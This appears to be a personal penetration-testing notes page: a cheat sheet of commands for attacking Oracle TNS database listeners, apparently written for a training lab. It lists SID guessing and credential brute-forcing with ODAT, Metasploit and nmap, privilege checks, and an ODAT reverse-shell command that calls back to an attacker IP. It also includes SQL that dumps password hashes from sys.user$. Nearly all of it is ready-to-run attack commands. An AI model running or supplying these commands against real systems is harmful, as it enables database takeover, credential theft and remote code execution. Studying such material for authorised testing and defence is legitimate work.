Read the notesEmail me
Menu

N1NJ10 Notes

TNS Oracle

Resources

Tools

Commands

  • Recon
    • Version Discovery 
      # Metasploit
msf auxiliary(scanner/oracle/tnslsnr_version)
 
# tnscmd10g (Note the VSNNUM for version identification)
tnscmd10g version -p 1521 -h 10.129.205.19
    • SID & Service Name Enumeration 
      # ODAT SID Guesser
odat sidguesser -s 10.129.205.19 -p 1521
 
# ODAT Service Name Guesser
odat snguesser -s 10.129.205.19 -p 1521
 
# Metasploit SID Brute
msf auxiliary(scanner/oracle/sid_brute)
 
# Get Service Name from Listener Status
tnscmd10g status -h 10.129.205.19 -p 1521
  • Exploitation
    • All-in-One Scan with ODAT 
      odat all -s 10.129.40.54 -p 1521
    • Bruteforce Users & Passwords 
      # Nmap Stealth Brute
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=XE -n 10.129.205.19
 
# Metasploit Login Scanner
msf auxiliary(admin/oracle/oracle_login)
 
# ODAT Password Guesser
odat passwordguesser -s 10.129.40.54 -p 1521 -d XE
 
# Crack captured hashes with John the Ripper
john hashes.txt
    • Privileges 
      # Get current privileges
odat privesc -s 10.129.112.195 -U scott -P tiger -d XE --get-privs
 
# Test for SYSDBA role
odat privesc -s 10.129.112.195 -U scott -P tiger -d XE --sysdba --test-module
 
# Test for SYSOPER role
odat privesc -s 10.129.112.195 -U scott -P tiger -d XE --sysoper --test-module
    • Remote Code Execution & Reverse Shells 
      # ODAT reverse shell via DBMS_SCHEDULER
odat dbmsscheduler -s 10.129.112.195 -U scott -P tiger -d XE --sysdba --reverse-shell 10.10.14.104 7777
    • Interactive SQL Session 
      # Connect with sqlplus
sqlplus scott/tiger@10.129.40.54:1521/XE
 
# Attempt to connect as SYSDBA
sqlplus scott/tiger@10.129.40.54:1521/XE 'as sysdba'
  • Useful SQL Statements 
    -- Get database version
SELECT version FROM v$instance;
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
 
-- Enumerate users
SELECT username FROM all_users ORDER BY username;
 
-- Dump password hashes from user table
SELECT name, password, spare4 FROM sys.user$ WHERE password IS NOT NULL OR spare4 IS NOT NULL;
 
-- Get database name
SELECT global_name FROM global_name;
 
-- Find column names for a specific table
SELECT column_name FROM all_tab_columns WHERE table_name = 'XE';

Notes

Graph View

Backlinks